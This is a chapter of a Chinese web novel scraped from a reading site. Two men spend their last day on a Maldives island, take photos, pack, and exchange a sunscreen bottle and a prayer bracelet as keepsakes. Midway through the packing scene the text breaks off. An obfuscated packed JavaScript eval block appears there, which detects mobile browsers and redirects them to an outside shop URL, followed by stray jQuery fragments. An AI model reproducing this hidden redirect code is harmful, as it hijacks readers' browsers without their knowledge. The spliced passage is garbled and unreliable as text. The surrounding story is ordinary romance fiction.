文趣网 > 都市小说 > 珊瑚小岛 > 20.最后一天
    明天就要离开阿雅达,他们决定最后环岛一周。

    不管以后有没有机会故地重游,今天过后,这里的每一处白沙滩上都会有他们的足迹。

    ·

    风从看不见边际的海面卷过来,带着潮气和暑热,勾着两个人的衫袂连到一处。

    纵然再高大的热带植物也挡不尽阳光。从他们的角度看去,白沙上的两个身影像是牢牢地牵住了彼此的手。杭乐湛亦步亦趋地跟在于端砚身边,看着脚下的影子微微失神。

    他们一步步穿出丛林,走到岸边,清透的泻湖从脚下开始延伸,直至汇入宽广无际的大洋。

    于端砚在经过秋千时停下来。

    那边有一对情侣,秋千上的女生被推得很高,害怕得连连喊“老公”,身后的男生嘴上应着,手劲却不见收。等到秋千终于停下,女生揪着他的耳朵,却在他装乖讨饶的时候心疼地撒开了手。

    于端砚盯着两个人牵着手走远的背影看了好久,突然说:“哥,我们拍张合照吧。”

    “我想留个纪念。”他怕被拒绝,小心翼翼地端详着杭乐湛的表情,试图合理化自己的行为,“我翻了一下相册,我们居然没拍过什么正经的合照。唯一的几张还是当时为了发给那个人拍的。”

    杭乐湛一向对诸如“一个巴掌拍不响”的说辞嗤之以鼻,却在这一刻无比清醒地承认,在于端砚会喜欢上他这件事上,自己难辞其咎。

    那些若有似无的撩拨是他主动的、那些真心假意难辨的照片也都是他要求的,他是始作俑者,他是祸首元凶。

    杭乐湛假装盯着沙滩上那只缓缓移动的寄居蟹看了很久,突然背过身去。指尖偷偷蘸走一点液体,眼眶没那么胀痛,他才能心平气和地听着于端砚继续。

    “喜欢上你,我用了三天。”于端砚语气带了几分笑意,好像喜欢上即将分开的旅游搭子在他那里是什么很美好的事情。

    “但我不知道放弃喜欢你要用多久。”他神色很认真,像是真的在钻研某一道有公式的计算题,“如果有些能寄托的东西陪着我,这个过程应该会更没那么......难。”

    没想卖惨的人突兀地改了口,但杭乐湛就是知道,他没说出口的那个词是难捱。

    可是人真的可能对只相处了短短几天的人产生多么浓烈的情感吗?

    心脏的某一块好像烂掉了,血管才会发了泥石流。他用比平时更多几倍的力气来呼吸,却还是胸口闷痛地喘不上气。

    一张纸巾被递了过来,杭乐湛迟钝地思考着为什么面前这个人的手在晃,这才发现,眼泪已经糊了满脸。

    于端砚轻轻揩去他眼角的泪痕:“可是哥哥,你怎么看起来比我还难过呢。”

    “小鱼。”

    海风又起。

    “你还年轻,没什么过不去的坎儿。”他无意识地揪着前胸口袋那里的布料,说出口的话也带着浓重的鼻音,“过不了多久,也许不过一个月,或者半年,再回头看,你会觉得自己当时很傻。”

    阵风过去,随惯性摇晃的秋千终于重新静止。他的声音变得很小:“我有自知之明,我没那么好,你会忘掉的。”

    “一定会的。”杭乐湛不知道在和谁说,声音放得很轻,又重复了一遍。

    “我努力。”揩到指尖的眼泪已经干透,于端砚下意识捻了捻手指,语气故作轻松,“我很想去杭州玩,但一直没什么机会。等到了那个时候,你能带我去看西湖吗?”

    “会的。”杭乐湛盯着一道道永不止歇拍向沙滩的浪花,终于能勉力地提起唇角,“不管怎么样,我们都是很好的朋友啊。”

    ·

    其实他们算是度假节奏很慢的两个人。

    基本上有预约的活动才会出门,没活动就宅在房间里吹空调。哪怕去浮潜的时候也不会走很远,往往都是在房间附近找个潜点下海开盲盒。

    但这会儿,沿着岛屿的边缘一步步踱过去,杭乐湛才意识到,他对阿雅达的记忆,或许比自己想象的要深刻。

    往餐厅走的必经之路上有两颗分立在道路两侧的椰子树,他曾经问于端砚,这像不像等腰三角形。

    于端砚回他,如果想做数学题的话他拿了电脑。

    往主餐厅走的路上有一张网床比其他网床垂得更低,他曾经不明所以地躺进去,差点爬不出来。

    于端砚笑得直不起腰,看他快生气了才舍得拽他出来。

    再往前走,皮划艇们三三两两堆在岸边洗海澡,杭乐湛一眼就认出了他们用过的那一艘——

    皮划艇尖尖上有一道不是很明显的划痕,是于端砚在身后抱住他的时候,杭乐湛无意间瞟到的。

    他们又一次路过了他们的沙屋。

    飘在泳池里的喜羊羊游泳圈不见了,被他放满东西的沙发此刻空空荡荡。他却还能记起于端砚搬着坐垫,和他一起坐在廊灯下看星星的样子。

    还有门外不远处平坦一片的沙滩,那里本来有一个沙子堆好的底座。

    其实他记性不好,连曾经让他连月痛苦的毕设和论文都已经记不太清。一个单元的英语单词,在脑子最灵光的年纪,别人背一个早自习,他要记一周。

    但现在,这些看似无关紧要的细枝末节却像是出厂设置一样,理所当然又深刻无比地嵌进了他的身体里。

    ·

    他们拍了很多张照片。

    杭乐湛已经很努力地去调动情绪,笑意还是只能堪堪维持在快门按下的那一秒。再加上于端砚开得是实况,他的表情管理就显得有些滑稽。

    没关系。他安慰自己。

    在已经能预知到的分别面前,难过是很正常的。即使是在度假,他也应该允许自己被悲观情绪短暂主导。

    何况长痛不如短痛。

    ·

    但是他还是有些抗拒要收拾行李这件事。

    挂在阳台上的水母服短短半日就已经被吹干,他拿起来闻了闻,才知道原来那款以留香著名的洗衣液没有虚假宣传——

    干透的面料香气扑鼻,却再也闻不到一丝海水的气息。

    防晒霜本来有很大一瓶,抹的时候不知道,这会拿起来掂掂,才发现已经用掉了大半。

    于端砚借给他用的清凉油还有半瓶,他偷偷扫了一眼在露台收东西的人,默不作声地把那个小瓶子压到了行李箱最底层。

    之前在行李箱里塞了太多零食,现在这些零食已经基本消耗殆尽,只剩下一些零碎的漏网之鱼。

    杭乐湛把它们拿了出来,打算腾些空间给后面的居民岛和免税店。

    于端砚走了进来,拿起他随手放在桌上的零食袋子,问他能不能拿走一根脆脆鲨。

    他没过脑子,问于端砚是不是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697334|207740||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    饿了。

    于端砚说,想拿走点他的什么东西。

    他听完愣了很久,在行李箱里翻翻找找,把那瓶还剩一半的防晒霜找了出来。

    “拿这个吧,用完好歹还有个瓶子。”杭乐湛心虚地不敢抬头,莫名其妙地递过去半瓶不伦不类的纪念品。

    拿你半瓶清凉油,还你半瓶防晒霜。这样就不算我欠你。

    上首的人接过防晒霜,没撒手,另一只手轻轻勾了一下。有什么东西触感冰凉,落到了他的手腕上。

    他不可置信地抬头看去,于端砚一直戴着的那串银曜石,现在正安安静静地呆在他的腕上。

    “如果不嫌弃的话,送你当个纪念吧。”于端砚松开手,“你手腕很白,戴着很好看。”

    “我......”杭乐湛张了张口,一句“不合适”就挂在嘴边,他却怎么都说不出口。

    “哥哥,刚回去那段日子,你也会很不好过的。”于端砚温柔地笑了一下,“认识一场,我们总归要比朋友更亲密一点,我应该送你点什么的,但我手边没有什么合适的东西。这个手串是我去寺里求来,保平安用的,希望你不要嫌弃。”

    “我把它送给你,希望你以后可以平安,顺利。”他顿了顿,又加了一个词,“还有自由。”

    杭乐湛听完沉默了很久。

    那条手串最终还是留在了他的手腕上。

    ·

    之前去餐厅的时候,杭乐湛老是能在靠窗的桌子上看到那对年迈的老夫妻,偶尔也会在餐台看到几个眼熟的面孔。

    到了快要离开的时候,他视线环顾一周,才意识到那些人都不见了。

    阿雅达每天都有人登岛离岛,旅客们一茬换一茬,他和于端砚也没什么不同。

    或许还是有不同的。

    结伴而来的人或是爱侣,或是家人。总归是有千丝万缕又牢不可摧的纽带,拴着他们飞跃大洋彼岸,在另一个国度续写有彼此出席的下一幕。

    而不像他们,不是纯粹的朋友,也没做过一时半刻的恋人。

    ·

    他们运气已经很好,被马尔代夫款待以整整七天的晴日。从马累再到阿雅达,他们一起经历了完整的十四个日出和日落。

    杭乐湛想,这将成为他二十五年的人生里,最难忘的一段日子。

    阿雅达的最后一个日暮时分,他和于端砚一起躺在网床上看晚霞。微茫的橘光从海天分界线扩散到整个天顶,吹在身上的海风也从燥热到有了些许冷意。

    身后的门大敞大开,穿堂风所到之处,并立着两个已经打包好的行李箱。

    明天一早,他们就要离开阿雅达了。

    ·

    第二天要起很早,两个人早早就熄了灯。

    杭乐湛强迫自己闭眼,却怎么都睡不着。从幼儿园大班开始一直自己睡了快二十年的人,却因为寥寥数次同床共枕的经历,突然变得无所适从起来。

    床上的空档像是投射到了心里,他翻来覆去,却怎么都填不满。

    窗户应该是没关紧,他能听到细微的风声。淋浴间剩的那半瓶便携沐浴露也没收进去,本来已经不想要了,现在想想,还是有些浪费。

    他找了无数个理由起身,就是不愿意承认,他有一点想于端砚。

    等到反应过来的时候,他已经轻轻地扣下了门把手。